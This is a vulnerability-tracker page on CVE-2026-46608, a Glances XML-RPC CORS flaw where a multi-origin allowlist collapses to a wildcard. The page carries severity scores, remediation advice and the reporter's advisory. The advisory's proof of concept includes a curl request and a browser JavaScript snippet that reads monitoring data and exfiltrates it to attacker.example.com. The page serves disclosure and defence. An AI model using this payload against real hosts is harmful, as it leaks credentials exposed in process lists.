Skip to main content

Glances EUVDEUVD-2026-39522

| CVE-2026-46608 HIGH
Permissive List of Allowed Inputs (CWE-183)
2026-06-22 https://github.com/nicolargo/glances GHSA-87qc-fj39-wccr
7.4
CVSS 3.1 · Vendor: https://github.com/nicolargo/glances
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify internal Glances XML-RPC host
  2. Delivery
    Lure victim to attacker-controlled page
  3. Exploit
    Browser issues CORS simple POST to /RPC2
  4. Execution
    Wildcard ACAO allows script to read response
  5. Impact
    Exfiltrate hostname, processes, secrets to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Strict input allowlisting
Exploitation Conditions

The vulnerable code path is reached only when an operator sets cors_origins to two or more entries in glances.conf [outputs] (e.g. cors_origins = https://dashboard.corp,https://grafana.corp), so the targeted attack requires that non-default multi-origin configuration; instances using the default cors_origins=* are wildcard-open via parent CVE-2026-33533. Additional limiting factors: Glances must be running in XML-RPC mode ('glances -s', default port 61209), the attacker needs a victim's browser that can route to the Glances host (typically internal/management network), and the victim must load attacker-controlled web content (UI:R). No authentication on Glances XML-RPC is required (PR:N), and no preflight blocks the request because POST + text/plain qualifies as a CORS simple request.

Impact

The assigned CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N (7.4 High) reflects network reach with user interaction (the victim must visit an attacker-controlled page) and a scope change to the browser's security boundary; this is consistent with the description. Real-world risk is moderated by two factors that CVSS does not fully capture: exploitation requires a non-default configuration (cors_origins containing 2+ explicit non-wildcard entries - though the default cors_origins=* leaves the original CVE-2026-33533 exposure intact), and the attacker must convince a user whose browser can reach the Glances host (typically internal/management network) to load a hostile page. EPSS and KEV data were not provided in the input, so exploitation probability is unconfirmed; no active exploitation has been reported. The detailed reporter PoC effectively functions as publicly available exploit code, raising practical risk for exposed instances. Impact is confidentiality-only (process command lines often leak credentials/tokens), with no integrity or availability effect.

Exploit ScenarioDerived

An attacker hosts evil.example.com with JavaScript that POSTs an XML-RPC getAll call to http://internal-glances-host:61209/RPC2 with Content-Type: text/plain (a CORS simple request, no preflight). When an internal user with browser reachability to the Glances host visits the page, the wildcard Access-Control-Allow-Origin response lets the attacker's script read the full monitoring payload - hostname, OS, process list with command-line arguments (often containing API keys and passwords), network interfaces, and container metadata - and exfiltrate it. The reporter-provided PoC in the GHSA advisory functions as publicly available exploit code.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Cross-origin data exposure in Glances XML-RPC server (versions 4.5.3 through 4.5.4) allows any malicious web page to read full system monitoring data from a victim's browser because the CORS allowlist silently collapses to 'Access-Control-Allow-Origin: *' whenever two or more origins are configured. This is an incomplete fix for CVE-2026-33533: the CORS header is computed once at startup and never validated against the request's Origin. Publicly available exploit code exists in the GHSA advisory, but there is no public exploit identified at time of analysis as actively exploited.

RemediationAI

Vendor-released patch: upgrade Glances to 4.5.5 or later (https://github.com/nicolargo/glances/releases/tag/v4.5.5), which the 4.5.5 release notes explicitly list as correcting CVE-2026-46608 alongside several other XML-RPC security fixes. If immediate upgrade is not possible, do not run 'glances -s' on networks reachable from user browsers and bind it to localhost or a management-only interface; alternatively switch to the REST web UI ('glances -w') which uses Starlette's CORSMiddleware correctly. As an interim hardening measure, configure exactly one non-wildcard origin in [outputs] cors_origins so the buggy branch is avoided, with the trade-off that you lose multi-dashboard support; or front Glances with a reverse proxy that strips/rewrites the Access-Control-Allow-Origin header and validates Origin per request. Firewalling TCP/61209 to trusted hosts removes browser-side exposure entirely but breaks legitimate remote dashboards.

Affected VersionsENISA

Glances < 4.5.5

Affected Packages

pypi glances fix: 4.5.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Glances is a popular Python-based cross-platform system monitoring tool (pkg:pip/glances) that exposes an XML-RPC interface via 'glances -s' on port 61209 by default. The flaw lives in glances/server.py at line 113 of class GlancesXMLRPCServer, where the assignment 'self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else "*"' degrades any multi-entry allowlist into a wildcard. The single static value is then emitted as the Access-Control-Allow-Origin header for every response with no comparison against the incoming Origin header, violating the W3C CORS specification. The root cause is CWE-942 (Permissive Cross-domain Policy with Untrusted Domains) - labeled CWE-183 in NVD data but functionally a CORS allowlist bypass - and because POST + Content-Type: text/plain qualifies as a CORS 'simple request', no preflight is triggered to surface the misconfiguration.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nicolargo/glances) PRIMARY 7.4 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
vuln.today AI 6.1 MEDIUM

Network-reachable and unauthenticated, but AC:H because exploitation needs a non-default multi-origin config and victim browser routing; UI:R, scope-changed, confidentiality-only.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
SUSE HIGH
Red Hat HIGH

Primary rating from Vendor (https://github.com/nicolargo/glances).

CVSS VectorVendor: https://github.com/nicolargo/glances

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard - the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.

---

Details

Affected file: glances/server.py, class GlancesXMLRPCServer, line 113

Direct URL (commit 04579778e733d705898a169e049dc84772c852da):

  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113
python
# server.py  (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins
# list from config / CLI
# Line 113 - the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
#                                                                  ^^^
# Any allowlist with 2+ entries collapses to the wildcard

The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):

python
self.send_header('Access-Control-Allow-Origin', self.cors_origin)

This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:

ini
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.

Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

Origin sentACAO header returnedExpected
http://evil.example.com*No header
https://dashboard.corp*Reflected
https://grafana.corp*Reflected

---

PoC

Special configuration required

The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:

ini
# /tmp/glances_multiorigin.conf
[global]
check_update = false

[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

Step 1 - Start the XML-RPC server using the config above

bash
glances -s -p 61209 -C /tmp/glances_multiorigin.conf

Step 2 - Send a CORS simple request from a foreign origin

bash
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
     -H "Content-Type: text/plain" \
     -H "Origin: http://evil.example.com" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected (secure) response:

HTTP/1.0 400 Bad Request

or no Access-Control-Allow-Origin header.

Actual response:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
  <params><param><value><array><data>
    <value><string>cpu</string></value>
    <value><string>mem</string></value>
    ...
  </data></array></value></param></params>
</methodResponse>

Step 3 - Demonstrate the code-level collapse to wildcard

python
import sys
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
from glances.config import Config

c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'

print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard?        :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard?        : True

Browser-based exploitation

Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:

javascript
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
  <methodCall><methodName>getAll</methodName></methodCall>`;

fetch('http://GLANCES_HOST:61209/RPC2', {
  method: 'POST',
  headers: { 'Content-Type': 'text/plain' },
  body: payload,
})
.then(r => r.text())
.then(data => {
  // 'data' contains hostname, OS, full process list, network interfaces, etc.
  fetch('https://attacker.example.com/collect?d=' + btoa(data));
});

This works as a CORS "simple request" (POST + text/plain) - no CORS preflight is triggered and the * wildcard allows the browser to read the response.

---

Impact

Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)

Who is impacted: Any operator who:

  1. Runs Glances in XML-RPC server mode (glances -s), *and*
  2. Has configured two or more cors_origins entries in glances.conf believing

they are restricting browser access.

Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.

Impact:

  • Confidentiality: High - complete system monitoring data readable by any browser page.
  • Integrity: None - read-only API.
  • Availability: None - no denial-of-service component.

---

Suggested Fix

Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):

python
# server.py  - replace the single static self.cors_origin field with:

def _get_acao_header(self, request_origin: str) -> str | None:
    """Return the correct Access-Control-Allow-Origin value or None."""
    if not self.cors_origins or '*' in self.cors_origins:
        return '*'
    if request_origin in self.cors_origins:
        return request_origin
    return None
# do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao   = self._get_acao_header(origin)
if acao:
    self.send_header('Access-Control-Allow-Origin', acao)
    self.send_header('Vary', 'Origin')

Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.

---

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

---

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

---

Executive ViewAI

Why It Matters

Glances system monitoring tool (versions 4.5.3-4.5.4) contains a cross-origin data exposure vulnerability allowing unauthorized web pages to access full system monitoring data through a CORS misconfiguration. Publicly available exploit code exists for this vulnerability. Organizations using Glances XML-RPC servers face risk of sensitive operational data exposure and require immediate containment action.

Business Impact: High
Compensating Controls

Disable Glances XML-RPC server if monitoring can be provided via alternative methods; implement network-level access controls (firewall rules, WAF, VPC security groups) to restrict XML-RPC endpoint access to authorized internal IP addresses only; configure explicit single-origin CORS policy in Glances configuration; deploy reverse proxy with strict CORS header validation; monitor and alert on unauthorized cross-origin requests to XML-RPC endpoint.

Threat Intelligence Overview

EPSS Score
0.4%
Top 68% exploitable
Prevalence
Medium
popular open-source sysadmin monitoring tool, niche XML-RPC mode
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy